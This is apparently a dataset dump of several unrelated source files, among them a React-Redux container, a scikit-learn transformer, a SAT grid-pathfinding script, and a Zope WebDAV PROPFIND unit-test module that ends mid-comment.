text
stringlengths
3
1.05M
import { connect } from 'react-redux'; import { withRouter } from 'react-router-dom'; import App from '@/pages/app'; import { clearModal, } from '@/actions'; // const mapStateToProps = state => ({ // }); const mapDispatchToProps = dispatch => ({ closeModal: () => dispatch(clearModal()), }); const mergeProps = (stateProps, dispatchProps, ownProps) => ( { ...ownProps, ...stateProps, ...dispatchProps, env: process.env.NODE_ENV === 'production' ? 'prod' : 'dev', } ); const AppContainer = connect( null, mapDispatchToProps, mergeProps, )(App); export default withRouter(AppContainer);
var b = true;
const expect = require('chai').expect, mapFlag = require('./filter-flags-files-by-id'); describe('Filter flag by Id', () => { function test(data, fileList, expected) { expect(mapFlag(data, fileList)).to.deep.equal(expected); } let mockFileList; beforeEach(() => { mockFileList = ['./dir/path/FOO.svg', './dir/path/BAR.svg', './dir/path/BAZ.svg']; }); it('returns empty array with empty data', () => { test({}, mockFileList, []); }); it('keeps only the flags with Id in data', () => { test( { FOO: {}, BAR: {} }, mockFileList, ['./dir/path/FOO.svg', './dir/path/BAR.svg']); }); it('filters names case insensitive', () => { test( { FOO: {}, BAR: {}, BAZ: {} }, ['./dir/path/foo.svg', './dir/path/Bar.svg', './dir/path/baz.SVG', './dir/path/boo.svg'], ['./dir/path/foo.svg', './dir/path/Bar.svg', './dir/path/baz.SVG']); }); });
import numpy as np from sklearn.base import TransformerMixin from sklearn.base import BaseEstimator from bella.neural_pooling import matrix_max class NeuralPooling(BaseEstimator, TransformerMixin): def __init__(self, pool_func=matrix_max): self.pool_func = pool_func def fit(self, context_word_matrixs, y=None): '''Kept for consistnecy with the TransformerMixin''' return self def fit_transform(self, context_word_matrixs, y=None): '''see self.transform''' return self.transform(context_word_matrixs) def transform(self, context_word_matrixs): context_pool_vectors = [] for context_word_matrix in context_word_matrixs: all_contexts = [] for word_matrix in context_word_matrix: all_contexts.append(self.pool_func(word_matrix)) num_contexts = len(all_contexts) vec_size = all_contexts[0].shape[1] all_contexts = np.asarray(all_contexts).reshape(num_contexts, vec_size) context_pool_vectors.append(all_contexts) return context_pool_vectors
""" The main driver for the project. """ from time import sleep from setup import * from pathfinder import * from display import * from all_paths import * def var_to_coords(var_list: list): """Helper function to convert a var into its coordinates.""" return [(int(str(y)[1]), int(str(y)[2])) for y in var_list] # For the tests example_theory = single_path_theory if __name__ == "__main__": print("To customize the grid, edit settings.py") sleep(1) # Print the grid print("\nGrid:") print_grid() # Look for a path with the single path theory (the most logically complex path) C = single_path_theory() if C.is_satisfiable(): print("There is a valid path.") else: print("There is no valid path.") # Print the full solution sol = C.solve() print(f"Solution: {sol}", end="\n\n") # Print the path variables path_sol = get_path(sol) print(f"Path: {path_sol}") if path_sol != None: # Print the complex path on the grid path_list = [(int(y[1]), int(y[2])) for y in path_sol.keys()] print_grid(path_list) # Find all paths A, paths = all_paths_theory() # Print the shortest path print("Shortest path:") print_grid(var_to_coords(min(paths, key=len))) # Ask the user if they want to see all the paths show_all = "" while not show_all.lower() in ["y", "n"]: show_all = input("Compute all paths? (y/n): ") if show_all.lower() == "y": all_solutions = A.solve() print(f"Solutions: {A.count_solutions()}") print(f"Unique solutions: {len(paths)}") print( "\n\tNote: some solutions may use the same squares but in a different order.", end="\n\n") print("Paths:") for path in paths: # Print all the unique paths path_list = var_to_coords(path) print_grid(path_list) # Ask the user if they want to see the path variable likelihoods show_likelihoods = "" while not show_likelihoods.lower() in ["y", "n"]: show_likelihoods = input( "Compute path variable likelihoods? (y/n): ") if show_likelihoods.lower() == "y": print("\nPath variable likelihoods:") var_strings = [str(var) for var in path_vars] for v, vn in zip(path_vars, var_strings): print(f" {vn}: {A.likelihood(v) * 100:.2f}%")
############################################################################## # # Copyright (c) 2006 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Test WebDAV propfind method. It is easier to do this has a unit test has we have complete control over what properties are defined or not. """ import unittest from cStringIO import StringIO import UserDict from xml.etree import ElementTree from zope import interface from zope import component from zope import schema import zope.schema.interfaces from zope.traversing.browser.interfaces import IAbsoluteURL from zope.filerepresentation.interfaces import IReadDirectory from zope.container.interfaces import IReadContainer from zope.error.interfaces import IErrorReportingUtility from zope.security.interfaces import Unauthorized, IUnauthorized import zope.security.checker import zope.security.interfaces import z3c.dav.properties import z3c.dav.publisher import z3c.dav.widgets import z3c.dav.exceptions import z3c.dav.coreproperties from z3c.dav.propfind import PROPFIND from z3c.etree.testing import etreeSetup, etreeTearDown from z3c.etree.testing import assertXMLEqual from z3c.etree.testing import assertXMLEqualIgnoreOrdering from test_proppatch import unauthProperty, UnauthorizedPropertyStorage, \ IUnauthorizedPropertyStorage class TestRequest(z3c.dav.publisher.WebDAVRequest): def __init__(self, properties = None, environ = {}): if properties is not None: body = """<?xml version="1.0" encoding="utf-8" ?> <propfind xmlns:D="DAV:" xmlns="DAV:"> %s </propfind> """ % properties else: body = "" env = environ.copy() env.setdefault("REQUEST_METHOD", "PROPFIND") env.setdefault("CONTENT_TYPE", "text/xml") env.setdefault("CONTENT_LENGTH", len(body)) super(TestRequest, self).__init__(StringIO(body), env) # call processInputs now since we are in a unit test. self.processInputs() class PROPFINDBodyParsed(PROPFIND): propertiesFactory = extraArg = depth = None def handlePropfindResource(self, ob, req, depth, propertiesFactory, extraArg): self.propertiesFactory = propertiesFactory self.extraArg = extraArg self.depth = depth return [] class PROPFINDBodyTestCase(unittest.TestCase): # Using PROPFINDBodyParsed test that the correct method and arguements # get set up. def setUp(self): etreeSetup(key = "py25") def tearDown(self): etreeTearDown() def checkPropfind(self, properties = None, environ = {}): request = TestRequest(properties = properties, environ = environ) propfind = PROPFINDBodyParsed(None, request) propfind.PROPFIND() return propfind def test_plaintext_body(self): request = z3c.dav.publisher.WebDAVRequest( StringIO("some text"), environ = {"CONTENT_TYPE": "text/plain", "CONTENT_LENGTH": 9}) request.processInputs() propfind = PROPFINDBodyParsed(None, request) self.assertRaises(z3c.dav.interfaces.BadRequest, propfind.PROPFIND) def test_plaintext_body_strlength(self): request = z3c.dav.publisher.WebDAVRequest( StringIO("some text"), environ = {"CONTENT_TYPE": "text/plain", "CONTENT_LENGTH": "9"}) request.processInputs() propfind = PROPFINDBodyParsed(None, request) self.assertRaises(z3c.dav.interfaces.BadRequest, propfind.PROPFIND) def test_nobody_nolength(self): # Need to test that no BadRequest is raised by the PROPFIND method request = z3c.dav.publisher.WebDAVRequest(StringIO(""), environ = {}) request.processInputs() self.assertEqual( request.getHeader("content-length", "missing"), "missing") propfind = PROPFINDBodyParsed(None, request) result = propfind.PROPFIND() def test_nobody_length_0(self): # Need to test that no BadRequest is raised by the PROPFIND method request = z3c.dav.publisher.WebDAVRequest( StringIO(""), environ = {"CONTENT_LENGTH": "0"}) request.processInputs() propfind = PROPFINDBodyParsed(None, request) result = propfind.PROPFIND() def test_notxml(self): self.assertRaises(z3c.dav.interfaces.BadRequest, self.checkPropfind, "<propname />", {"CONTENT_TYPE": "text/plain"}) def test_bad_depthheader(self): self.assertRaises(z3c.dav.interfaces.BadRequest, self.checkPropfind, "<propname />", {"DEPTH": "2"}) def test_depth_header(self): propf = self.checkPropfind("<propname />", {"DEPTH": "0"}) self.assertEqual(propf.depth, "0") propf = self.checkPropfind("<propname />", {"DEPTH": "1"}) self.assertEqual(propf.depth, "1") propf = self.checkPropfind("<propname />", {"DEPTH": "infinity"}) self.assertEqual(propf.depth, "infinity") def test_xml_propname(self): propf = self.checkPropfind("<propname />") self.assertEqual(propf.propertiesFactory, propf.renderPropnames) self.assertEqual(propf.extraArg, None) def test_xml_allprop(self): propf = self.checkPropfind("<allprop />") self.assertEqual(propf.propertiesFactory, propf.renderAllProperties) self.assertEqual(propf.extraArg, None) def test_xml_allprop_with_include(self): includes = """<include xmlns="DAV:"><davproperty /></include>""" propf = self.checkPropfind("<allprop/>%s" % includes) self.assertEqual(propf.propertiesFactory, propf.renderAllProperties) assertXMLEqual(propf.extraArg, includes) def test_xml_emptyprop(self): propf = self.checkPropfind("<prop />") self.assertEqual(propf.propertiesFactory, propf.renderAllProperties) self.assertEqual(propf.extraArg, None) def test_xml_someprops(self): props = """<prop xmlns="DAV:"><someprop/></prop>""" propf = self.checkPropfind(props) self.assertEqual(propf.propertiesFactory, propf.renderSelectedProperties) assertXMLEqual(propf.extraArg, props) def test_emptybody(self): propf = self.checkPropfind() self.assertEqual(propf.propertiesFactory, propf.renderAllProperties) self.assertEqual(propf.extraArg, None) def test_xml_nopropfind_element(self): body = """<?xml version="1.0" encoding="utf-8" ?> <nopropfind xmlns:D="DAV:" xmlns="DAV:"> invalid xml </nopropfind> """ env = {"CONTENT_TYPE": "text/xml", "CONTENT_LENGTH": len(body)} request = z3c.dav.publisher.WebDAVRequest(StringIO(body), env) request.processInputs() propf = PROPFINDBodyParsed(None, request) self.assertRaises(z3c.dav.interfaces.UnprocessableError, propf.PROPFIND) def test_xml_propfind_bad_content(self): self.assertRaises(z3c.dav.interfaces.UnprocessableError, self.checkPropfind, properties = "<noproperties />") class IExamplePropertyStorage(interface.Interface): exampleintprop = schema.Int( title = u"Example Integer Property") exampletextprop = schema.Text( title = u"Example Text Property") class IExtraPropertyStorage(interface.Interface): extratextprop = schema.Text( title = u"Property with no storage") class IBrokenPropertyStorage(interface.Interface): brokenprop = schema.Text( title = u"Property which does not render") exampleIntProperty = z3c.dav.properties.DAVProperty( "{DAVtest:}exampleintprop", IExamplePropertyStorage) exampleTextProperty = z3c.dav.properties.DAVProperty( "{DAVtest:}exampletextprop", IExamplePropertyStorage) extraTextProperty = z3c.dav.properties.DAVProperty( "{DAVtest:}extratextprop", IExtraPropertyStorage) brokenProperty = z3c.dav.properties.DAVProperty( "{DAVtest:}brokenprop", IBrokenPropertyStorage) # this is a hack to make all the render all properties work as this broken # property then never shows up these tests responses. brokenProperty.restricted = True class ExamplePropertyStorage(object): interface.implements(IExamplePropertyStorage) def __init__(self, context, request): self.context = context self.request = request def _getproperty(name): def get(self): # Don't supply default values to getattr as this hides any # exceptions that I need for the tests to run. return getattr(self.context, name) def set(self, value): setattr(self.context, name, value) return property(get, set) exampleintprop = _getproperty("intprop") exampletextprop = _getproperty("text") class BrokenPropertyStorage(object): interface.implements(IBrokenPropertyStorage) def __init__(self, context, request): pass @property def brokenprop(self): raise NotImplementedError("The property brokenprop is not implemented.") class IResource(interface.Interface): text = schema.TextLine( title = u"Example Text Property") intprop = schema.Int( title = u"Example Int Property") class Resource(object): interface.implements(IResource) def __init__(self, text = u"", intprop = 0): self.text = text self.intprop = intprop class ICollection(IReadContainer): pass class Collection(UserDict.UserDict): interface.implements(ICollection) def __setitem__(self, key, value): self.data[key] = value value.__parent__ = self value.__name__ = key class DummyResourceURL(object): interface.implements(IAbsoluteURL) def __init__(self, context, request): self.context = context def __str__(self): if getattr(self.context, "__parent__", None) is not None: path = DummyResourceURL(self.context.__parent__, None)() else: path = "" if getattr(self.context, "__name__", None) is not None: path += "/" + self.context.__name__ elif IResource.providedBy(self.context): path += "/resource" elif ICollection.providedBy(self.context): path += "/collection" else: raise ValueError("unknown context type") return path __call__ = __str__ def propfindSetUp(): etreeSetup(key = "py25") gsm = component.getGlobalSiteManager() gsm.registerUtility(exampleIntProperty, name = "{DAVtest:}exampleintprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.registerUtility(exampleTextProperty, name = "{DAVtest:}exampletextprop", provided = z3c.dav.interfaces.IDAVProperty) exampleTextProperty.restricted = False gsm.registerUtility(extraTextProperty, name = "{DAVtest:}extratextprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.registerUtility(z3c.dav.coreproperties.resourcetype, name = "{DAV:}resourcetype") gsm.registerUtility(brokenProperty, name = "{DAVtest:}brokenprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.registerUtility(unauthProperty, name = "{DAVtest:}unauthprop") # make sure that this property is always restricted so that we # only try and render this property whenever we want to. unauthProperty.restricted = True gsm.registerAdapter(ExamplePropertyStorage, (IResource, z3c.dav.interfaces.IWebDAVRequest), provided = IExamplePropertyStorage) gsm.registerAdapter(BrokenPropertyStorage, (IResource, z3c.dav.interfaces.IWebDAVRequest), provided = IBrokenPropertyStorage) gsm.registerAdapter(UnauthorizedPropertyStorage, (IResource, z3c.dav.interfaces.IWebDAVRequest), provided = IUnauthorizedPropertyStorage) gsm.registerAdapter(z3c.dav.coreproperties.ResourceTypeAdapter) gsm.registerAdapter(DummyResourceURL, (IResource, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(DummyResourceURL, (ICollection, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(z3c.dav.widgets.TextDAVWidget, (zope.schema.interfaces.IText, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(z3c.dav.widgets.IntDAVWidget, (zope.schema.interfaces.IInt, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(z3c.dav.widgets.ListDAVWidget, (zope.schema.interfaces.IList, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(z3c.dav.exceptions.PropertyNotFoundError, (z3c.dav.interfaces.IPropertyNotFound, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(z3c.dav.exceptions.UnauthorizedError, (IUnauthorized, z3c.dav.interfaces.IWebDAVRequest)) gsm.registerAdapter(z3c.dav.exceptions.ForbiddenError, (zope.security.interfaces.IForbidden, z3c.dav.interfaces.IWebDAVRequest)) def propfindTearDown(): etreeTearDown() gsm = component.getGlobalSiteManager() gsm.unregisterUtility(exampleIntProperty, name = "{DAVtest:}exampleintprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.unregisterUtility(exampleTextProperty, name = "{DAVtest:}exampletextprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.unregisterUtility(extraTextProperty, name = "{DAVtest:}extratextprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.unregisterUtility(z3c.dav.coreproperties.resourcetype, name = "{DAV:}resourcetype") gsm.unregisterUtility(brokenProperty, name = "{DAVtest:}brokenprop", provided = z3c.dav.interfaces.IDAVProperty) gsm.unregisterUtility(unauthProperty, name = "{DAVtest:}unauthprop") gsm.unregisterAdapter(ExamplePropertyStorage, (IResource, z3c.dav.interfaces.IWebDAVRequest), provided = IExamplePropertyStorage) gsm.unregisterAdapter(BrokenPropertyStorage, (IResource, z3c.dav.interfaces.IWebDAVRequest), provided = IBrokenPropertyStorage) gsm.registerAdapter(UnauthorizedPropertyStorage, (IResource, z3c.dav.interfaces.IWebDAVRequest), provided = IUnauthorizedPropertyStorage) gsm.unregisterAdapter(z3c.dav.coreproperties.ResourceTypeAdapter) gsm.unregisterAdapter(DummyResourceURL, (IResource, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(DummyResourceURL, (ICollection, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(z3c.dav.widgets.TextDAVWidget, (zope.schema.interfaces.IText, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(z3c.dav.widgets.IntDAVWidget, (zope.schema.interfaces.IInt, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(z3c.dav.exceptions.PropertyNotFoundError, (z3c.dav.interfaces.IPropertyNotFound, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(z3c.dav.exceptions.UnauthorizedError, (IUnauthorized, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(z3c.dav.exceptions.ForbiddenError, (zope.security.interfaces.IForbidden, z3c.dav.interfaces.IWebDAVRequest)) gsm.unregisterAdapter(z3c.dav.widgets.ListDAVWidget, (zope.schema.interfaces.IList, z3c.dav.interfaces.IWebDAVRequest)) class ErrorReportingUtility(object): interface.implements(IErrorReportingUtility) def __init__(self): self.errors = [] def raising(self, exc_info, request): self.errors.append((exc_info, request)) class PROPFINDTestRender(unittest.TestCase): # Test all the methods that render a resource into a `response' XML # element. We are going to need to register the DAV widgets for # text and int properties. def setUp(self): propfindSetUp() ## This is for the test_renderBrokenProperty self.errUtility = ErrorReportingUtility() component.getGlobalSiteManager().registerUtility(self.errUtility) def tearDown(self): propfindTearDown() ## This is for the test_renderBrokenProperty component.getGlobalSiteManager().unregisterUtility(self.errUtility) del self.errUtility def test_renderPropnames(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) response = propf.renderPropnames(resource, request, None) # call the response to render to an XML fragment. response = response() assertXMLEqualIgnoreOrdering(response, """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat xmlns:D1="DAVtest:"> <D:prop> <ns1:brokenprop xmlns:ns1="DAVtest:"/> <ns1:exampletextprop xmlns:ns1="DAVtest:"/> <D:resourcetype /> <ns1:exampleintprop xmlns:ns1="DAVtest:"/> <ns1:unauthprop xmlns:ns1="DAVtest:"/> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat></D:response>""") def test_renderSelected(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.fromstring("""<prop xmlns="DAV:" xmlns:D="DAVtest:"> <D:exampletextprop /> <D:exampleintprop /> </prop>""") response = propf.renderSelectedProperties(resource, request, props) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat xmlns:D1="DAVtest:"> <D:prop> <D1:exampletextprop xmlns:D="DAVtest:">some text</D1:exampletextprop> <D1:exampleintprop xmlns:D="DAVtest:">10</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat></D:response>""") def test_renderSelected_badProperty(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.Element(ElementTree.QName("DAV:", "prop")) prop = ElementTree.Element("{}bar") prop.tag = "{}bar" # lxml ignores the namespace in the above element props.append(prop) self.assertRaises(z3c.dav.interfaces.BadRequest, propf.renderSelectedProperties, resource, request, props) def test_renderSelected_badProperty2(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.Element(ElementTree.QName("DAV:", "prop")) prop = ElementTree.Element("bar") props.append(prop) response = propf.renderSelectedProperties(resource, request, props) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat> <D:prop> <bar /> </D:prop> <D:status>HTTP/1.1 404 Not Found</D:status> </D:propstat> </D:response>""") def test_renderSelected_notfound(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.fromstring("""<prop xmlns="DAV:" xmlns:D="DAVtest:"> <D:exampletextprop /> <D:extratextprop /> </prop>""") response = propf.renderSelectedProperties(resource, request, props) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text</D1:exampletextprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat> <D:propstat> <D:prop> <D1:extratextprop xmlns:D1="DAVtest:" /> </D:prop> <D:status>HTTP/1.1 404 Not Found</D:status> </D:propstat> </D:response>""") def test_renderAllProperties(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) response = propf.renderAllProperties(resource, request, None) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">10</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat></D:response>""") def test_renderAllProperties_withInclude(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) include = ElementTree.fromstring("""<include xmlns="DAV:" xmlns:D="DAVtest:"> <D:exampletextprop /> </include>""") response = propf.renderAllProperties(resource, request, include) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">10</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat></D:response>""") def test_renderAllProperties_withRestrictedProp(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) exampleTextProperty.restricted = True response = propf.renderAllProperties(resource, request, None) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat> <D:prop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">10</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat></D:response>""") def test_renderAllProperties_withRestrictedProp_include(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) exampleTextProperty.restricted = True include = ElementTree.fromstring("""<include xmlns="DAV:" xmlns:D="DAVtest:"> <D:exampletextprop /> </include>""") response = propf.renderAllProperties(resource, request, include) assertXMLEqualIgnoreOrdering(response(), """<D:response xmlns:D="DAV:"> <D:href>/resource</D:href> <D:propstat> <D:prop> <D1:exampletextprop xmlns:D1="DAVtest:">some text</D1:exampletextprop> <D:resourcetype /> <D1:exampleintprop xmlns:D1="DAVtest:">10</D1:exampleintprop> </D:prop> <D:status>HTTP/1.1 200 Ok</D:status> </D:propstat></D:response>""") def test_renderBrokenProperty(self): resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.fromstring("""<prop xmlns="DAV:" xmlns:D="DAVtest:"> <D:brokenprop /> </prop>""") response = propf.renderSelectedProperties(resource, request, props) response = response() assertXMLEqualIgnoreOrdering("""<response xmlns="DAV:"> <href>/resource</href> <propstat> <prop> <ns1:brokenprop xmlns:ns1="DAVtest:" /> </prop> <status>HTTP/1.1 500 Internal Server Error</status> </propstat> </response>""", response) # now check that the error reporting utility caught the error. self.assertEqual(len(self.errUtility.errors), 1) error = self.errUtility.errors[0] self.assertEqual(isinstance(error[0][1], NotImplementedError), True) def test_render_selected_unauthorizedProperty_toplevel(self): # If during the processing of a PROPFIND request and access to a # property on the requested resource is unauthorized to the current # user then we raise an `Unauthorized' requesting the user to log in. resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.fromstring("""<prop xmlns="DAV:" xmlns:D="DAVtest:"> <D:unauthprop /> <D:exampletextprop /> </prop>""") self.assertRaises( zope.security.interfaces.Unauthorized, propf.renderSelectedProperties, resource, request, props) def test_render_selected_unauthorizedProperty_sublevel(self): # This is the same as the previous test but since we are rendering # a sub-resource to the requested resource - we render the forbidden # error as part of the successful `multistatus' response. This stops # errors from raising to the user when they might not ever have access # to the particular resource but they are still continue using the # system. Where as the previous test shows that they can still get # access to the system. resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, None) props = ElementTree.fromstring("""<prop xmlns="DAV:" xmlns:D="DAVtest:"> <D:unauthprop /> <D:exampletextprop /> </prop>""") # The current `level' is the last argument to this method. response = propf.renderSelectedProperties(resource, request, props, 1) response = response() # The PROPFIND method should return a 401 when the user is unauthorized # to view a property. assertXMLEqualIgnoreOrdering("""<response xmlns="DAV:"> <href>/resource</href> <propstat> <prop> <ns1:exampletextprop xmlns:ns1="DAVtest:">some text</ns1:exampletextprop> </prop> <status>HTTP/1.1 200 Ok</status> </propstat> <propstat> <prop> <ns1:unauthprop xmlns:ns1="DAVtest:" /> </prop> <status>HTTP/1.1 401 Unauthorized</status> </propstat> </response>""", response) # PROPFIND does catch all exceptions during the main PROPFIND method # but instead we need to make sure that the renderSelectedProperties # does throw the exception. def test_renderAllProperties_unauthorized_toplevel(self): # If we request to render all property but we are unauthorized to # access one of the propertues then this property should be threated # as if it were restricted property and not returned to the user. resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, request) # Set the unauthproperty as un-restricted so that the # renderAllProperties will render all the properties. unauthProperty.restricted = False # PROPFIND does catch all exceptions during the main PROPFIND method # but instead we need to make sure that the renderSelectedProperties # does throw the exception. response = propf.renderAllProperties(resource, request, None) response = response() # Note that the unauthprop is not included in the response. assertXMLEqualIgnoreOrdering("""<response xmlns="DAV:"> <href>/resource</href> <propstat> <prop> <ns1:exampletextprop xmlns:ns1="DAVtest:">some text</ns1:exampletextprop> <resourcetype /> <ns1:exampleintprop xmlns:ns1="DAVtest:">10</ns1:exampleintprop> </prop> <status>HTTP/1.1 200 Ok</status> </propstat> </response>""", response) # Since we silenty ignored returning a property. We now log the # Unauthorized exception so debuging and logging purposes. self.assertEqual(len(self.errUtility.errors), 1) exc_info = self.errUtility.errors[0] self.assertEqual(isinstance(exc_info[0][1], Unauthorized), True) def test_renderAllProperties_unauthorized_sublevel(self): # If we request to render all property but we are unauthorized to # access one of the propertues then this property should be threated # as if it were restricted property and not returned to the user. resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, request) # Set the unauthproperty as un-restricted so that the # renderAllProperties will render all the properties. unauthProperty.restricted = False # PROPFIND does catch all exceptions during the main PROPFIND method # but instead we need to make sure that the renderSelectedProperties # does throw the exception. # The current `level' is the last argument to this method. response = propf.renderAllProperties(resource, request, None, 1) response = response() # Note that the unauthprop is not included in the response. assertXMLEqualIgnoreOrdering("""<response xmlns="DAV:"> <href>/resource</href> <propstat> <prop> <ns1:exampletextprop xmlns:ns1="DAVtest:">some text</ns1:exampletextprop> <resourcetype /> <ns1:exampleintprop xmlns:ns1="DAVtest:">10</ns1:exampleintprop> </prop> <status>HTTP/1.1 200 Ok</status> </propstat> </response>""", response) # Since we silenty ignored returning a property. We now log the # Unauthorized exception so debuging and logging purposes. self.assertEqual(len(self.errUtility.errors), 1) exc_info = self.errUtility.errors[0] self.assertEqual(isinstance(exc_info[0][1], Unauthorized), True) def test_renderAllProperties_unauthorized_included(self): # If we request to render all properties, and request to render a # property we ain't authorized via the 'include' element then we # should get the property back as part of the multistatus response # but with a status 401 and no content. resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, request) includes = ElementTree.fromstring("""<include xmlns="DAV:" xmlns:D="DAVtest:"> <D:unauthprop /> </include>""") response = propf.renderAllProperties(resource, request, includes) response = response() assertXMLEqualIgnoreOrdering("""<response xmlns="DAV:"> <href>/resource</href> <propstat> <prop> <ns1:exampletextprop xmlns:ns1="DAVtest:">some text</ns1:exampletextprop> <resourcetype /> <ns1:exampleintprop xmlns:ns1="DAVtest:">10</ns1:exampleintprop> </prop> <status>HTTP/1.1 200 Ok</status> </propstat> <propstat> <prop> <ns1:unauthprop xmlns:ns1="DAVtest:" /> </prop> <status>HTTP/1.1 401 Unauthorized</status> </propstat> </response>""", response) def test_renderAllProperties_broken_included(self): # If we request to render all properties, and to forse render a # broken property via the 'include' element then we should get # this property back as part of the multistatus response but with a # status 500 and no content. resource = Resource("some text", 10) request = z3c.dav.publisher.WebDAVRequest(StringIO(""), {}) propf = PROPFIND(None, request) includes = ElementTree.fromstring("""<include xmlns="DAV:" xmlns:D="DAVtest:"> <D:brokenprop /> </include>""") response = propf.renderAllProperties(resource, request, includes) response = response() assertXMLEqualIgnoreOrdering("""<response xmlns="DAV:"> <href>/resource</href> <propstat> <prop> <ns1:exampletextprop xmlns:ns1="DAVtest:">some text</ns1:exampletextprop> <resourcetype /> <ns1:exampleintprop xmlns:ns1="DAVtest:">10</ns1:exampleintprop> </prop> <status>HTTP/1.1 200 Ok</status> </propstat> <propstat> <prop> <ns1:brokenprop xmlns:ns1="DAVtest:" /> </prop> <status>HTTP/1.1 500 Internal Server Error</status> </propstat> </response>""", response) self.assertEqual(len(self.errUtility.errors), 1) exc_info = self.errUtility.errors[0] self.assertEqual(isinstance(exc_info[0][1], NotImplementedError), True) class SecurityChecker(object): # Custom security checker to make the recursive propfind method handle # authentication errors properly. We use this checker instead of the # zope.security.checker.Checker object when we want to raise Unauthorized # errors and not Forbidden errors. interface.implements(zope.security.interfaces.IChecker) def __init__(self, get_permissions = {}): self.get_permissions = get_permissions def check_getattr(self, ob, name): if name in ("__provides__",): return permission = self.get_permissions.get(name) if permission is zope.security.checker.CheckerPublic: return raise Unauthorized(object, name, permission) def check_setattr(self, ob, name): raise NotImplementedError("check_setattr(ob, name) not implemented") def check(self, ob, operation): raise NotImplementedError("check(ob, operation) not implemented") def proxy(self, value): if type(value) is zope.security.checker.Proxy: return value checker = getattr(value, '__Security_checker__', None) if checker is None: checker = zope.security.checker.selectChecker(value) if checker is None: return value return zope.security.checker.Proxy(value, checker) def readDirectoryNoOp(container): return container class PROPFINDSecurityTestCase(unittest.TestCase): # When processing PROPFIND requests with 